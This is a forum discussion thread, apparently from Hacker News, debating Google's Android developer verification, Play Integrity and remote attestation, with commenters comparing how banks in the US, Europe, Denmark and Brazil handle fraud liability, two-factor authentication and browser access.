The requirement per Google's post is rolling out globally though in a couple years. There was nothing stopping per country governments that this may disproportionately affect from requiring this for Play Protect/GMS certified Android devices sold in their region but enforcing it worldwide for such non-AOSP devices I don't find surprising to be controversial.
Brave of you to say this. Yeah, in my humble opinion, agree with you, android and ios devices target the mainstream users more than say a PC or Mac's, and should be more locked down. We can keep PC's and Mac's relative open (although they are getting more secure too, which might be good?), but for devices that truly target the masses, secure them as much as possible (why would typical users like my parent's need to install a remote access server on their phone?).
Yeah, my Dad got hacked only a month ago, through a tech-support phishing phone-call. He uses a windows PC which makes him vulnerable, and the scammers did install tons of evil crap. He really should be using an android or ios tablet, to reduce his chances of being hacked like this. I know these devices are still vulnerable, but they do seem more secure based on how much more locked down they are.
Meaning to use your device you need to have a contractual relationship with a foreign (unless you are in the US) third party that decides what you can or cannot do with it. Plus using GrapheneOS is less of an option every day, since banks and other "regulated" sectors use Google Play Protect and similar DRMs to prevent you from connecting from whatever device you want. Client-side "trust" means the provider owning the device, not the user.
Android shouldn't be considered Open Source anymore, since source code is published in batches and only part of the system is open, with more and more apps going behind the Google ecosystem itself.
Maybe it's time for a third large phone OS, whether it comes from China getting fed up with the US and Google's shenanigans (Huawei has HarmonyOS but it's not open) or some "GNU/Linux" touch version that has a serious ecosystem. Especially when more and more apps and services are "mobile-first" or "mobile-only" like banking.
I think Play Integrity is the fundamental issue here, and needs to go. That's the crux of the issue.
Allowing apps to say "we only run on Google's officially certified unmodified Android devices" and tightly restricting which devices are certified is the part that makes changes like this deeply problematic. Without that, non-Google Android versions are on a fair playing field; if you don't like their rules, you can install Graphene or other alternatives with no downside. With Play Integrity & attestation though you're always living with the risk of being cut off from some essential app (like your bank) that suddenly becomes "Google-Android-Only".
If Play Integrity went away, I'd be much more OK with Google adding restrictions like this - opt in if you like, use alternatives if you don't, and let's see what the market actually wants.
Banks seem to actually "want" Play Integrity. At least they act like it. I bet they would like for normal online banking on user-controlled devices to completely go away.
Of course they do, and of course they would. Banks are in a crazy legal position where they are financially liable for user stupidity. If my bank account gets breached, it doesn't matter that I didn't take any reasonable security measures, the bank will still have to refund me. If the bank could say "you didn't follow our recommended security practices to use a PW manager and MFA or passkeys, so it's a FAFO situation for you," then they wouldn't be pushing for this stuff. But they can't do that because the government doesn't allow them to.
There is even government regulator pressure now for financial services to be liable for cases where the user legitimately authorizes a transaction to a party that turns out to be a scammer. Of course the banks want to watch your every move and control your devices. They would be stupid not to given the incentives.
In what country do you live? In America, users are liable for the banks stupidity. If they don’t verify credentials and give away all of my money, I do NOT get it refunded, they are NOT responsible, and I am the victim of “identity theft.”
I live in America. I have got back every single cent I have lost due to fraudulent charges on my account. Furthermore, I was refunded instantly by the bank pending investigation.
The bank you have did the right thing and I think most banks and credit unions will do this, as it’s bad for a lot of reasons not to.
That said, the legal obligations around how this works is very different. One of the reasons common advice is use a credit card for online purchases instead if a debit card or checking account link is because of the fact that they have different liability expectations around fraud[0]
[0]: there are of course a multitude of good reasons for this advice generally speaking, but this one is cited a lot
You are incorrect. This isn’t good will measures, these are required by law. The EFTA, for example, requires banks to make you whole against fraudulent ATM transactions. The CC recommendation is more about you having more time and flexibility to dispute the charge without risking access to cash; most Americans don’t even have a few thousand dollars in cash so a fraudulent ATM withdrawal is a major problem. But if you have a good chunk of cash the fraudulent ATM transaction will not really be felt by you provided you follow the requirements about notification (you have 2 days after noticing to report it to the bank).
The losses due to fraudulent CC activity are governed by the FCBA.
It’s shocking how people think companies do this kind of stuff out of good will rather than being forced by law.
Are you mixing up fraudulent credit card charges? Because that's a whole lot other story. I can't even imagine you would be able to get any fraudulent debit card charges back from the bank.
I got a call from the bank asking if I'd spent over $8k today on my debit card at a mall and restaurant in a shady part of town... I said no, and they ended up refunding me and issuing me a new card.
They did ask me to make a statement to the police, which I did.
Funnily enough when I talked to the police, they said, "Oh, $7k, is that all? Just today we had someone lose over $140k".
How do you even spend $140k on a credit card? Must have been a platinum card or whatever.
I'm in Australia, not sure how different things are here.
Interesting. In EU the bank's liability is typically limited. However, but now that I think of it, they are only liable for bigger sums, not petty theft. So if you get scammed of up to, say, 200 euro, they don't care. Anything more than that, they do.
I got around $2000 of fraudulent debit card charges reversed on the spot when I reported them.
On the flip side, banks have the worst fucking security outside of demanding you use an app. Let me use 2FA that isn't bespoke.
Most of that “app” security is requiring to use Symantec’s app which doesn’t actually require Symantec - there’s plenty of guides online showing how to register any authenticator app instead.
At least you have bespoke 2FA. All I have is SMS 2FA
I understand all that but I don't see how that's any less secure than a browser.
My bank doesn't allow access through a browser. It has to be the app or else you have to travel to their HQ in person (I guess) and close your account.
Can I ask what bank and why on Earth you continue to give them your business?
I guess I'm unusual in that I've been using an "online" only bank for 20 years (back then it wasn't so online... I had a stack of UPS overnight envelopes for check deposits), but I cannot imagine patronizing a bank that won't let me log in and do basically anything from a browser.
In quite a few Asian countries there are no banks left that don't force you to use their apps. There is not other option.
I have never seen a bank that allows mobile deposits from a browser. I have always seen it require an app.
What a terrible bank though.
do they still allow you to download your transactions to your phone and get them to your pc that way? just curious, I'd be screwed, I don't know how to install apps on my phone.
Only because it's there. I don't think the would demand it if it wasn't offered, but once it's there imagine being in a bank and saying to management "it recommend we don't enable this security feature that works on 99.99999% of phones".
As someone who used to work for a bank building applications I would say no. This is definitely a feature companies and organizations like banks would request if it wasn't available.
There are a lot of scams targeting vulnerable people and these days attacking the phone is a very "easy" way of doing this.
Now perhaps there is a more forgiving way of implementing it though. So your phone can switch between trusted and "open" mode. But realistically I don't think the demand is big enough for that to actually matter.
Play integrity does almost nothing to prevent malicious actors. In fact, id say overall it's probably more harmful because it gives actors like Banks false confidence.
Even with play integrity, you should not trust the client. Devices can still be compromised, there are still phony bank apps, there are still keyloggers, etc.
With the Web, things like banks are sort of forced to design apps that do not rely on client trust. With something like play integrity, they might not be. That's a big problem.
I've worked on such systems. Love it or hate it, remote attestation slaughters abuse. It is just much harder to scale up fraud schemes to profitable levels if you can't easily automate anything. That's why it exists and why banks use it.
Wouldn't device-bound keys for a set of trusted issuing secure elements (e.g. Yubikeys) work just as well but without locking down the whole goddamn software stack?
RA schemes don't lock down the whole software stack, just the parts that are needed to allow the server to reason about the behavior of the client. You can still install whatever apps you want, and those apps can do a lot of customization e.g. replace the homescreen, as indeed Android allows today.
You need to attest at least the kernel, firmware, graphics/input drivers, window management system etc because otherwise actions you think are being taken by the user might be issued by malware. You have to know that the app's onPayClicked() event handler is running because the human owner genuinely clicked it (or an app they authorized to automate for them like an a11y app). To get that assurance requires the OS to enforce app communication and isolation via secure boundaries.
That's waay too much locking down, and while it gives me some control, it does not give me real control. I cannot remove or modify software in the software stack whose behavior I disagree with (e.g. all of Play Services). I can't replace the OS with a more privacy and security focused OS like GrapheneOS.
Imagine if this was done for desktop computers before we had smartphones. That's just crazy.
Relying on hardware-bound keys is fine, but then the scope of the hardware and software stack that needs to be locked down should be severely limited to dedicated, external hardware tokens. Having to lock down the whole OS and service stack is just bad design, plain and simple, since it prioritizes control over freedom.
1. I don't believe you. This is a measurement problem - you eliminated an avenue to measure abuse, because you are now just assuming abuse doesn't happen because you trust the client.
2. It does not eliminate any meaningful types of fraud. Phishing still works, social engineering still works, stealing TOTP codes still works.
Ultimately I don't need to install a fake app on your phone to steal your money. The vast, vast majority of digital bank fraud is not done this way. The vast majority of fraud happens within real bank apps and real bank websites, in which an unauthorized user has gained account access.
I just steal your password or social engineer your funds or account information.
This also doesn't stop check fraud, wire fraud, or credit card fraud. Again - I don't need a fake bank app to steal your CC. I just send an email to a bad website and you put in your CC - phishing.
1. Well, going into denial about it is your prerogative. But then you shouldn't express bafflement about why this stuff is being used.
Nobody is making mistakes as dumb as "we fixed something we can measure so the problem is solved". Fraud and abuse have ground-truth signals in the form of customers getting upset at you because their account got hacked and something bad happened to them.
2. This stuff is also used to block phishing and it works well for that too. I'd explain how, but you wouldn't believe me.
You mention check fraud so maybe you're banking with some US bank that has terrible security. Anywhere outside the USA, using a minimally competent bank means:
• A password isn't enough to get into someone's bank account. Banks don't even use passwords at all. Users must auth by answering a smartcard challenge, or using a keypair stored in a secure element in a smartphone that's been paired with the account via a mailed setup code (usually either PIN or biometric protected).
• There is no such thing as check fraud.
• There is no such thing as credit card phishing either. All CC transactions are authorized in real time using push messaging to the paired mobile apps. To steal money from a credit card you have to confuse the user into authorizing the transaction on their phone, which is possible if they don't pay attention to the name of the merchant displayed on screen, but it's not phishing or credential theft.
> Nobody is making mistakes as dumb as "we fixed something we can measure so the problem is solved".
There is an entire name for this: dark pattern.
People make this mistake all the time. Its a very common measurement problem, because measuring is actually very hard.
Are we measuring the right thing? Does it mean what we think it means? Companies spend hundreds of billions trying to answer those questions.
2. Not it cannot block phishing because if I get your password, I can get in.
To your points:
- yes, banks in the US use one time codes too. Very smart of you, unfortunately not very creative. Trivial to circumvent in most cases. Email is the worst, SMS better, TOTP best.
TOTP doesn't matter if the user just takes their code and inputs it into whatever field.
- yes there is such a thing as check fraud, you not knowing what it is doesn't matter.
- if I had to authorize each CC transaction on my phone, I'd put a bullet in my head. That's shit.
Yeah this thread boils down to US vs rest-of-world confusion. Or maybe a US vs Europe confusion.
TOTP, which you say is best, is considered weak sauce outside the US. I don't know any banks that have used it for a very long time. It's not secure enough. Cheques were phased out decades ago. There are entire generations in Europe who have never even seen a cheque, let alone written one. I think the last time I had a chequebook issued it was in 2004.
IIRC the differences arise because in the US consumer legislation makes merchants liable for refunding fraudulent transactions, so banks and consumers have no incentive to improve security and merchants can't do it except via convoluted and hardly working risk analysis. It's just so easy to do chargebacks there that nobody bothers fixing the infrastructure. This pushes everyone into the arms of Amazon and the like because they have the most data for ML.
Outside the US and especially in Europe, merchants aren't liable for fraudulent transactions if they verified the credentials correctly. It's much harder to do chargebacks as a consequence. Even if a merchant delivered subpar stuff or there was some other commercial dispute, chargebacks are very hard (I tried once and the bank just refused). So liability shifts to banks, unless they can show that the transaction was authorized by the account holder and they had correct information. That means banks and merchants are incentivized to improve security, and they do.
This is just blatantly false. Literally every bank in Denmark which is not an e-bank lets you do everything with a browser and the national digital identity, MitID. MitID offers an app, but they also offer alternatives both in the form of TOTP generators and NFC/USB hardware chips.
If by TOTP you mean an app like Google Authenticator, those are expected to be phones, aren't they? And the other things, as we already discussed, are hardware systems they can remotely attest - not browsers on their own.
People seem to be getting really hung up on this point. Accepting a browser means letting you do everything with nothing but whatever program you want that speaks HTTP. No special apps or authenticators or extra tokens. You should be able to write a plain Python script that sends money whenever it wants, on its own.
European banks do not allow this in my experience, and nothing being posted to this thread indicates otherwise. Apparently there are some banks especially in the USA who just don't care about security at all because they can push fraud costs onto merchants, so they do accept browsers for everything, or they make some trivial effort and if users undermine it using Google Voice or whatever they don't care - that's fine, I overgeneralized by saying "banks" instead of geographically qualifying it. Mea culpa.
But in your case, you need the assistance of something that's not a browser.
By TOTP I mean a hardware token using the TOTP algorithm to generate a nonce, like the second option on this page: https://www.mitid.dk/en-gb/get-started-with-mitid/how-to-use...
I thought that was what you meant too? If you mean TOTP via a QR code exposing the secret, then of course I agree, no banks allow that. But your comment read as a claim that all TOTP solutions were inherently deemed insecure and wouldn't work, and that smartphone based solutions were the only viable alternative outside the US. The code display is of course vulnerable to man-in-the-middle attacks where you trick users into authorizing transactions via fake web pages, but it is not a threat that is deemed serious enough to prevent our whole country from basing our digital infrastructure on code displays.
I think people get hung up on your point about banks not accepting browsers because you don't formulate your point very clearly, and it reads like you claim that they don't accept browsers at all when what you mean is just a browser and nothing else. Most European banks do in fact allow you to do business using a browser - you just have to prove your identity via other means as well. And there are no good security arguments why those means must be in the form of a smartphone app whose security requirements have the side effect of locking you into a business relationship with one of two American tech giants. As you can see, a whole country of almost six million people authenticates everything from bank transactions to naming their kids and buying houses using a system which allows you to use just a code display.
I think the strategy of remote attestation of the whole OS stack up to and including the window manager is a clunky and inelegant approach from an engineering perspective, and from a freedom perspective I think it is immoral and should be illegal. What I could accept would be an on-phone security module with locked down firmware which can simply take control of the whole screen regardless of what the OS is doing, with a clear indicator of when it is active. This allows you to authorize transactions and inspect their contents, and only needs remote attestation of the security module, not the whole OS.
Well it is still a phone after all, what with UMA and baseband processing. You don't need to spend much time at Blackhat/Defcon to realize any true attempts at sealing it up are akin to plugging leaks in a sieve with epoxy. Its far too porus.
Meanwhile if attestation does reduce fraud, the ownability (by the user) of the device is now forfeit due to chasing a dragon's tail.
That’s a “seatbelts so no good because people still die in car crashes” argument with a topping of “actually they’re bad because they give you a false sense of security”
Play integrity hugely reduces brute force and compromised device attacks. Yes, it does not eliminate either, but security is a game of statistics because there is rarely a verifiably perfect solution in complex systems.
For most large public apps, the vast majority of signin attempts are malicious. And the vast majority of successful attacks come from non-attested platforms like desktop web. Attestation is a valuable tool here.
How does device attestation reduce bruteforce? Does the backend not enforce the attempt limits per account? If so, that's would be considered a critical vulnerability. If not, then attestation doesn't serve that purpose.
As for compromised devices, assuming you mean an evil maid, Android already implements secure boot, forcing a complete data wipe when breaking the chain of trust. I think the number of scary warnings is already more than enough to deter a clueless "average user" and there are easier ways to fish the user.
And those apps use MEETS_DEVICE_INTEGRITY rather than MEETS_STRONG_INTEGRITY so a compromised device can absolutely be used to access critical services. (Usually because strong integrity is unsupported on old devices)
This reminds me of providers like Xiaomi making it harder to unlock the bootloader due to phones being sold as new but flashed with a compromised image.
Maybe a good compromise is to change the boot screen to have a label that the phone is running an unofficial ROM, just like it shows one for unlocked bootloaders? If the system can update that dynamically based on unlock state, why can't it do it based on public keys? Might also discourage vendors/ROM devs from using test keys like Fairphone once did.
Pixels with, for example, GrapheneOS already do exactly that:
"Your device is loading a different operating system."
I developed this stuff at Google (JS puzzles that "attest" web browsers), back in 2010 when nobody was working on it at all and the whole idea was viewed as obviously non-workable. But it did work.
Brute force attacks on passwords generally cannot be stopped by any kind of server-side logic anymore, and that became the case more than 15 years ago. Sophisticated server-side rate limiting is necessary in a modern login system but it's not sufficient. The reason is that there are attackers who come pre-armed with lists of hacked or phished passwords and botnets of >1M nodes. So from the server side an attack looks like this: an IP that doesn't appear anywhere in your logs suddenly submits two or three login attempts, against unique accounts that log in from the same region as that IP is in, and the password is correct maybe 25%-75% of the time. Then the IP goes dormant and you never hear from it again. You can't block such behavior without unworkable numbers of false positives, yet in aggregate the botnet can work through maybe a million accounts per day, every day, without end.
What does work is investigating the app doing the logging in. Attackers are often CPU and RAM constrained because the botnet is just a set of tiny HTTP proxies running on hacked IoT devices. The actual compute is happening elsewhere. The ideal situation from an attacker's perspective is a site that is only using server side rate limiting. They write a nice async bot that can have tens of thousands of HTTP requests in flight simultaneously on the developer's desktop which just POSTs some strings to the server to get what they want (money, sending emails, whatever).
Step up the level of device attestation and now it gets much, much harder for them. In the limit they cannot beat the remote attestation scheme, and are forced to buy and rack large numbers of genuine devices and program robotic fingers to poke the screens. As you can see, the step-up from "hacking a script in your apartment in Belarus" to "build a warehouse full of robots" is very large. And because they are using devices controlled by their adversaries at that point, there's lots of new signals available to catch them that they might not be able to fix or know about.
The browser sandbox means you can't push it that far on the web, which is why high value targets like banks require the web app to be paired with a mobile app to log in. But you can still do a lot. Google's websites generate millions of random encrypted programs per second that run inside a little virtual machine implemented in Javascript, which force attackers to use a browser and then look for signs of browser automation. I don't know how well it works these days, but they still use it, and back when I introduced it (20% time project) it worked very well because spammers had never seen anything like it. They didn't know how to beat it and mostly just went off to harass competitors instead.
I may be mis-understanding, but it sounds like this kind of widely distributed attack would also be stoppable by checking how often the account is attempting to log in? And if they're only testing two or three passwords _per account_, per day, then Google could further block them by forcing people not to use the top 10,000 popular passwords in any of the popular lists (including, over time, the passwords provided to Google)?
The attackers only try one or two passwords, that they hacked/phished. They aren't guessing popular passwords, usually they know the correct password for an account and would log in successfully on the first try. There are no server side signals that can be used to rate limit them, especially as the whole attack infrastructure is automated and they have unlimited patience.
Forgive me for being reductive, but aren't these leaked accounts a lost cause? The vulnerability in question is attackers being able to log into user accounts with leaked credentials. The only mitigation for this is to lock out users identified in other password breeches and reconfirm identity out-of-band, like through a local bank branch, add a second factor like a hardware token, or use restrictive heuristics like IP geolocation consistency between visits.
If 3 attempts per hour is enough to gain access, then it doesn't seem attestation can save you. I imagine a physical phone farm will still be economically viable in such case.
Yes that's what companies do. I worked on the system there that addressed this. If you can detect a botted login you can lock the account until the real user is able to get new credentials, or block activity in other ways. Not a lost cause at all.
It was very effective when this problem was new. Don't know about the current state of things.
> an IP that doesn't appear anywhere in your logs suddenly submits two or three login attempts
How is the attacker supposed to bruteforce anything with 2-3 login attempts?
Even if 1M node submitted 10 login attempts per hour, they would just be able to try 7 billion passwords per month per account, that's ridiculously low to bruteforce even moderately secure passwords (let alone that there's definitely something to do on the back end side of things if you see one particular account with 1 million login attempts in a hour from different IPs…).
So I must have misunderstood the threat model…
Brute force here can mean they try millions of accounts and get into maybe a quarter of them on their first try, not that they make millions of tries against a single account.
That's a very uncommon understanding of brute force, to be honest. Generally I see the term applied to cases where there's next to no prior knowledge, just enumeration.
Well, I'd have picked a different word in this context. I'm just explaining why attestation fixes the problem described by the OP as seen in modern contexts and rate limiting doesn't.
If you have an attacker that can gain access on 25% of its attempts, it doesn't matter it there is a botnet with millions of IPs, they would still have around 25% success rate on just 10 IPs, it bas nothing to do with brute force, it just means you have plenty of compromised accounts in the wild and you want to prevent bad actors from using them at scale.
The threat model is entirely different from what your brute force phrase implies, and it is also a threat model that isn't relevant to banking, which was the topic of the discussion in the first place. And more importantly, it doesn't affect the security of the user.
Its not that type of argument, because seatbelts actually work - play integrity does not.
Play integrity is just DRM. DRM does not prevent the most common types of attack.
If I have your password, I can steal your money. If I have your CC, I can post unauthorized transactions.
Attestation does not prevent anything. How would attestation prevent malicious login attempts? Have you actually sat down and thought this through? It does not, because that is impossible.
The vast, vast VAST majority of exploits and fraud DO NOT come from compromised devices. They come from unauthorized access, which is only surface level naively prevented by DRM solutions.
For example, HBO Max will prevent unauthorized access for DRM purposes in the sense that I cannot watch a movie without logging in. It WILL NOT prevent access if I log in, or anyone else on Earth logs in. Are you seeing the problem?
Cool. So you run a baking website. You get several hundred thousand legit logins a day, maybe ten million that you block. Maybe a hundred million these days.
Now, you have a bucket of mobile users coming to you with attestation signals saying they’ve come from secure boot, and they are using the right credentials.
And you’ve got another bucket saying they’ve are Android but with no attestation, and also using the right credentials.
You know from past experience (very expensive experience) that fraud can happen from attested devices, but it’s about 10,000 times more common from rooted devices.
Do you treat the logins the same? Real customers HATES intrusive security like captchas?
Are you understanding the tech better now? The entire problem and solution space are different from what you think they are.
> You know from past experience (very expensive experience) that fraud can happen from attested devices, but it’s about 10,000 times more common from rooted devices.
1. I don't believe this research - measurement is hard. If we just consider using an unattested device as malicious, as we do now with the play integrity API, then you fudge the numbers.
2. Even IF the research is true, relative probability is doing the heavy lifting here.
There's still going to be more malicious attempts from attested devices than those unattested. Why? Because almost everyone is running attested devices. Duh.
Grandma isnt going to load an unsigned binary on her phones. Let's just be fucking for real for one second here.
No, she's gonna take a phone call and write a check, or get an email and go to a sketchy website and enter her login credentials and then open the investable 2FA email and then enter the code she got into the website. Guess what - you don't need a rooted device for that. You just don't.
There are extremely high effort malicious attempts, like trying to remotely rootkit someone's phone, and then low effort ones - like email spam and primitive social engineering.
You guess which ones you actually see in the wild.
Is there a real threat here? Sure. But threat modeling matters. For 99.99% of people, their threat model just does not involve unsigned binaries they manually loaded.
Why are we sacrificing everything to optimize for the 0.01%? When we havent even gotten CLOSE to optimizing the other 99.99%?
Isn't that fucking stupid? Why yes, yes it is.
Who is responsible for fraud? If the user loses their password, that's their problem.
> That’s a “seatbelts so no good because people still die in car crashes”
Except it's not a seatbelt, it's straitjacket with a seatbelt pattern drawn on it: it restrain the user's freedom in exchange for the illusion of security.
And like a straightjacket, it's imposed without user consent.
The difference with a straightjacket is that there's no doctor involved to determine who really needs it for security against their own weakness and no due process to put boundaries on its use, it's applied to everyone by default.
Great. Let's just require every single computing device to be verified, signed, and attested by a government agency. Just in case it is ever misused to attack a Google online service that cannot be possibly bothered to actually spend one nanosecond thinking on security.
What could possibly go wrong. It's not only morally questionable no matter what "advantages" it provides Google, but it's also technically ridiculous because _even if every single computing device was attested_, by construction I can still trivially find ways to use them to "brute force" Google logins. The technical "advantage" of attestation immediately drops to 0 once it is actually enforced (this is were the seatbelts analogy falls apart).
Next thing I suggest after forcing remote attestation on all devices is tying these device IDs to government-issued personal ID. Let's see how that goes over. And then for the government to send the killing squad once one of these devices is used to attack Google services. That should also improve security.
Here's the dystopian future we're building, folks. Take it or leave it. After all, it statistically improves security!
You just proved the seatbelt analogy.
Yes, for SOME subset of attackers (car crashes), for SOME subset of targets (passengers), the mitigations don’t solve the problem.
This is not the anti-attestation / anti-seatbelt argument many think it is.
All security is mitigation. There is non perfection.
But it makes no sense to say that because a highly motivated attacker with a lot of money to spend can rig real attested devices to be malicious, there must be no benefit to a billion or so legit client devices being attested.
I think your enthusiasm for melodrama and snark may be clouding your judgment of the actual topic.
> Yes, for SOME subset of attackers (car crashes), for SOME subset of targets (passengers), the mitigations don’t solve the problem.
I won't solve the problem for _anyone_ once it is required, because it is trivial to bypass once the incentive is there. This is what kills this technically; it does not even go into the other cons (which really should not be ignored). Seatbelts absolutely do not have this problem.
> All security is mitigation. There is non perfection.
This is an absolutely meaningless tautology. It is perfectly true statement. It adds absolutely nothing to the discussion.
Say I argue in favor "putting a human to verify each and every banking transaction with a phone call to the source and the destination". And then you disagree, saying that there will be costs, waste of time for everyone, and that the security improvement will be minimal at best. And then I counter with "All security is mitigation, there is no perfection!".
Can you see what you're doing here? This is another textbook example of the politician's fallacy (something must be done; this is something; therefore we must do this).
It is trying to bypass the discussion on the actual merits of the proposal as well as its cons by saying "well it does something!" . True, it does something. So what? If the con is bad enough, or if the benefit too small, maybe it's best NOT to do it anyway!
> But it makes no sense to say that because a highly motivated attacker with a lot of money to spend can rig real attested devices to be malicious, there must be no benefit to a billion or so legit client devices being attested.
Not long we had right here in HN a discussion about the merits of remote attestion for anti-cheating: turns out the "lot of money" is a custom USB mouse (or addon to one) that costs cents to make. Sure, its not zero. You have to go more and more draconian in order to actually make it "a lot of money", but then you'll tell me I'm being melodramatic.
>After all, it statistically improves security!
Probably not even that, but it limits liability and that’s the only purpose, just like the manual in your car, nobody will ever read it but it contains a warning for every single thing that could happen.
I've actually read the manual for my car, and it absolutely does not "contain a warning for every single thing that could happen".
> This is definitely a feature companies and organizations like banks would request if it wasn't available.
Really? Because they've been fine without this feature on desktop for literally decades.
On the other hand, it's not really up to the bank. It's my money, not theirs.
I really wish I wouldn't need to have my money managed by some corporate drones in suits but it's really hard these days to do without a bank account.
This is why I was really into crypto at the beginning; it envisioned giving us control abck over what's ours. But all the KYC crap and the wishes of the speculators for more oversight basically made crypto the same nasty deal as the public banking sector.
It is desired enough that plenty of developers license third party libraries that roll their own device attestation, instead of or in addition to Play Integrity.
What's absurd though is that they have never demanded it for browsers. I think there is a much higher risk of someone being tricked into downloading a compromised browser with a backdoor than someone being tricked into downloading a modified version of their particular banking app. It gives the attacker the same level of control though.
Is this not more or less what Manifest is attempting to do? The headline grabber is that it disables ad-blocking but it's essentially trying to establish the browser as a "trusted" (owned) platform, no?
You're thinking of Google's attempt to port Play Integrity/Safetynet to the Web [0]. Nothing to do with Manifest V3, IIUC.
[0]: https://en.wikipedia.org/wiki/Web_Environment_Integrity
Banks have never accepted browsers. They don't need to because they can require the web app be paired with a mobile app or SMS code to log in. Before they used mobile apps they issued smartcard readers (at least they did everywhere I lived). The smartcard readers were also used to digitally sign transactions.
In other words, there aren't many banks that let you take sensitive actions with just a browser and that's been true since the start of online banking.
These days they also apply differential risk analysis based on the device used to submit a transaction and do things to push people towards mobile. For instance in Switzerland there's now a whole standard for encoding invoices in QR codes. To pay those you must use the mobile apps.
Edit: people are getting hung up on the "never accepted browsers" part. It means they only use the browser for unimportant interactions. For important stuff like login or tx auth, they expect the use of separate hardware that's more controlled like a SIM card/mobile radio, smartcard or smartphone app. Yes some banks are more lax than others but in large parts of the world this was always true since the start of online banking.
Thats ... false. Every bank I have used in Denmark allows me to log in and do all operations without an app. They require authentication and authorization using the national digital identity (MitID) which comes as an app, but also as a TOTP token and a FIDO (or similar) chip. No apps needed.
I guess the smartcard reader is equivalent. But my point is that locking down the OS of the phone is sufficient to establish client trust but not necessary. You should always be allowed to run the app without strong Play Integrity verification but then just be required to scan your hardware token with NFC in every authentication and authorization flow.
That's mostly prevalent in third-world countries like Brazil. I work for a fintech-turned-bank here and the biggest problem we have to deal with is fraudulent actions made by scammers who got access to users' accounts via social engineering. Outsiders don't know how prevalent scamming is in Brazil and how much is spent/lost trying to fight them and how that shapes the security vs convenience landscape. For example:
- I can't transfer a single cent if I didn't had my face and documents scanned after installing the bank app.
- I can't have the same bank account logged in two of my devices at the same time, all banks require you to use an account on a "verified" device (previous point).
- If I want to use a desktop to access my bank account, I have to either install a desktop client provided by the bank or be limited to just checking my balance. Some banks doesn't even allow you to log in if you don't have a "verified" device for doing 2FA.
I am very sure my higher ups are cheering with these news, even though it solves none of the problems.
In the US too. I have never ran into a situation where I had to use the app instead of the browser. I don't know what that guy is talking about.
My US bank removed check deposits from the browser about a decade ago, and I haven't met anyone who can use Zelle without an app.
That is a far cry from the original comment "banks have never accepted browsers".
I have used zelle many times from the browser. It's been a while, so maybe that has changed, though. I never even tried to deposit a check from the browser or an app, so you may be right on that point.
I have 3 different banks (well 2 banks and a credit union.) I can use Zelle in my browser from all 3. I don't even have the app installed for 2 of them.
Hmm...I wonder if it matters which browser is being used.
In my country almost all banks removed their web apps. They existed like 15 years ago, before smartphones became widespread, but nowadays very few banks offer web apps, only mobile apps.
That's exactly what I'm saying. They don't let you take actions using only a web browser. If you don't use a mobile app they issue you with trusted hardware that performs a similar function (although usually less secure and not as convenient).
My bank does still allow login and txns to be authorized with a smart card reader. You have to type in fragments of the account number to authorize a new recipient. After that you can send additional transactions to that account without hardware auth.
Pure NFC tokens don't work because you need trusted IO.
Not necessarily. In Poland you can do banking with a web browser + SMS code or one-time code card, no special hardware needed.
An SMS code can only be received by a phone (special hardware, not a browser). An OTC smart card is likewise special hardware, not a browser.
Google voice is not special hardware. You’re confusing attestation with 2fa and that’s why you’re getting downvoted.
Yeah but Google Voice isn't something you're meant to use to receive SMS codes. That's very US specific, and if you go there you've undermined the security the bank was trying to provide.
The reason they used SMS codes for a while is because phones have always tried to block malware from reading your screen or SMS storage whereas PCs don't, and because phones can do remote attestation protocols to the network as part of their login sequence. The SIM card contains keys used to sign challenges, and the network only allows authorized radio firmwares to log on. So by sending a code to a phone you have some cryptographic assurance that it was received by the right user and viewed only by them.
2FA and RA are closely related for that reason. The second factor is dedicated hardware which enforces that only a human can interact with it, and which can prove its identity cryptographically to a remote server. The mobile switching center, in the case of SMS codes.
Obviously, this was a very crude system because malware on the PC could intercept the login after the user authorized, but at least it stopped usage of the account when the user wasn't around. Modern app based systems are much more secure.
The SMS stuff seems like theatre when SS7[1] has been known to need a nuclear-powered auto bailer for how porous it is.
[1] https://en.wikipedia.org/wiki/Signalling_System_No._7
... which is why none of the banks I've used support it for many years now. It's a legacy example. Modern banks all rely on apps that bind to the secure element in the phone or they issue a smartcard reader.
Alright, I think I misunderstood you. I know most banks allow alternatives other than the app.
But just the fact that there are options which have the side effect of making you choose between convenience and digital autonomy is wrong, and I don't think remote attestation should even exist in the toolbox. We should make dedicated hardware solutions work better instead.
Dedicated hardware solutions are remote attestation. The smartcard OTC readers are doing exactly that: you sign a challenge with a private key that never leaves the smartcard and is paired to the bank at the factory. This is what remote attestation is doing behind the scenes, the only difference is the smartcard user interaction is much more limited. It's of no use for protecting your financial privacy, for example, only for stopping a hacked display device authorizing transactions.
If you evolve the smartcard based systems with better I/O capabilities, then you end up with a modern smartphone. At which point you may as well let the user supply their own rather than charging them lots of money for a dedicated device that's not much different.
No, I reject the idea that general purpose computing devices should be locked down to satisfy a very narrow security use case. I really don't believe that you end up with a smartphone, and I don't think you give a very good argument for why.
I am fine with locking down devices that have very limited security purposes. I am fine with my passport containing locked down hardware if it makes it harder to forge. But I am also not browsing the web on my passport, and therefore its security requirements cannot prevent me from removing ads.
OK, use a browser that lets you remove ads then! Android isn't iOS, you can run browsers that aren't Chrome and nothing about this change would stop you installing a custom browser with whatever features you want. Your banking app doesn't care what browser you use.
You are fundamentally misunderstanding my point about freedom.
Yes, I can do it now, but this is only because Google allows me to do that on their approved Android distribution, not because they are unable to prevent me from doing it. I don't trust them to not take away that freedom from me as soon as they can be sure that they can afford the anti-trust lawsuit since their core business model is to show me ads.
I know that my bank doesn't care about my browser, but by relying on Play Integrity they are indirectly forcing me to operate in Google's control regime in every other aspect on my device.
I don't want them to control my software stack, period. I don't care if they act as the good guys right now, they have been steadily doing downhill in the moral department and I expect them to continue to do so.
I don't understand how you can act like there is no problem at all with technology like this.
I work in fintech, formerly as a contractor for some major banks, and absolutely nothing you say is true, generally.
This might be the case for a couple of banks - or maybe in one or two specific countries, but broadly, none of what you've said here applies to banks anywhere else in the world.
Which banks outside the US allow you to submit payments using only an arbitrary desktop browser, without any other device getting involved? No mobile phones to receive codes, no smartcard readers, no secure elements, nothing except a browser and a password? I have never encountered such a bank.
FWIW "SMS 2FA" or "email 2FA" can also be done from the same browser (google voice or similar, webmail) and I've used both with banks.
That said, there is one major bank I use that still allows password only.
I’m not sure why “outside the US” is a factor here, but nearly every bank in the world. Some only require email verification, some don’t even require that.
There are banking systems in some countries that do not even require an ATM/Debit card for automated withdrawals, just an account number and grouping code.
It's fascinating that people have had such different experiences here.
